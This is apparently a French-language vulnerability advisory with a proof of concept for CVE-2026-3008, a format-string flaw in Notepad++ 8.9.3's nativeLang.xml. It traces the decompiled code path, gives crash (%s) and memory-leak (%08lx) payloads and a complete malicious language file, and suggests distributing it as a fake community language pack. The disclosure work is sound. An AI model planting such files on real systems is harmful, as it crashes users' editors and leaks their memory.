
Analyse technique et preuve de concept pour CVE-2026-3008, une injection de chaîne de format dans Notepad++ 8.9.3 via nativeLang.xml, permettant un déni de service et une divulgation d'informations.
Lorsqu'une opération de recherche produit des résultats, sub_1400916C0 formate une étiquette de nombre de résultats en récupérant une chaîne localisée depuis nativeLang.xml et en la passant directement comme chaîne de format à wsprintfW :
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
La chaîne provient de l'attribut <find-result-hits> dans nativeLang.xml sans aucune validation à aucun moment du flux de données :
nativeLang.xml
→ Analyseur TinyXML (lit l'attribut XML, aucune validation du contenu)
→ NativeLangSpeaker (conversion UTF-8 → UTF-16, aucune validation)
→ sub_140099E60 (substitution $INT_REPLACE$ — les spécificateurs de format survivent)
→ wsprintfW(buf, v38) (v38 utilisé comme argument de chaîne de format, pas comme donnée)
wsprintfW est appelé avec seulement deux arguments — aucun argument de données variadique. Tout spécificateur de format dans v38 lit des valeurs depuis les emplacements d'arguments de la convention d'appel x64 (R8, R9, pile), qui contiennent des résidus de registres.
| Champ | Valeur |
|---|---|
| Fonction | sub_1400916C0 (initialisateur du panneau Résultats de recherche) |
| Adresse du sink | 0x140091E6D |
| Déclencheur | Toute recherche produisant des résultats (Tout rechercher, Rechercher dans les fichiers, Tout marquer, Tout remplacer) |
sub_1400916C0 est appelée depuis quatre sites dans le WndProc de FindResults (sub_140089BF0) :
| Adresse | Déclencheur |
|---|---|
0x14008B63B | Rechercher dans les fichiers |
0x14008B72D | Tout rechercher dans le document courant / tous les documents |
0x14008B97E | Tout remplacer |
0x14008B9FE | Tout marquer |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
Chaque %s interprète une valeur de registre ou de pile résiduelle comme un pointeur WCHAR*. La première adresse invalide déclenche une violation d'accès immédiate (STATUS_ACCESS_VIOLATION, 0xC0000005). Notepad++ plante à chaque recherche ultérieure jusqu'à ce que le fichier malveillant soit supprimé — DoS fiable et en un coup.
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
Le contenu de la pile et des registres est lu comme des valeurs DWORD et formaté en hexadécimal, visible dans l'onglet du panneau Résultats de recherche. Sortie observée lors d'un test en direct :
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
Des valeurs telles que 5852bb18 et 7b1052e0 sont des fragments de pointeurs 64 bits tronqués.
wsprintfW (user32.dll) ne prend pas en charge %n — il n'existe aucune primitive d'écriture où que ce soit. Sa limite de sortie codée en dur de 1024 caractères correspond exactement à la taille du tampon de destination, ce qui exclut tout débordement de tampon sur le tas. La vulnérabilité est confirmée comme DoS + divulgation d'informations. L'exécution de code n'est pas réalisable via cette seule chaîne de format.
nativeLang.xml n'existe pas par défaut — les installations en anglais ne sont pas affectées. Lorsqu'un utilisateur sélectionne une langue non anglaise via Paramètres → Préférences → Général → Localisation, Notepad++ écrit le fichier correspondant à :
| Édition | Chemin |
|---|---|
| Installateur | %APPDATA%\Notepad++\nativeLang.xml |
| Portable | <répertoire_npp>\nativeLang.xml |
Sur les 94 fichiers de localisation fournis, 43 contiennent l'élément <find-result-hits>. Les utilisateurs de ces langues sont vulnérables si leur nativeLang.xml est falsifié — par exemple, via un pack de langue communautaire malveillant distribué sur des forums ou des sites de téléchargement. L'attaquant peut inclure des traductions légitimes pour toutes les autres chaînes, rendant le fichier d'apparence normale.
Placez le fichier suivant à <répertoire_npp>\nativeLang.xml (portable) ou %APPDATA%\Notepad++\nativeLang.xml (installateur), puis ouvrez Notepad++ et effectuez une recherche qui produit des résultats (Ctrl+F → Tout rechercher dans le document courant).
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
Résultat : Notepad++ plante immédiatement avec une violation d'accès dans wsprintfW.
Des variantes de payload supplémentaires se trouvent dans le répertoire payloads/.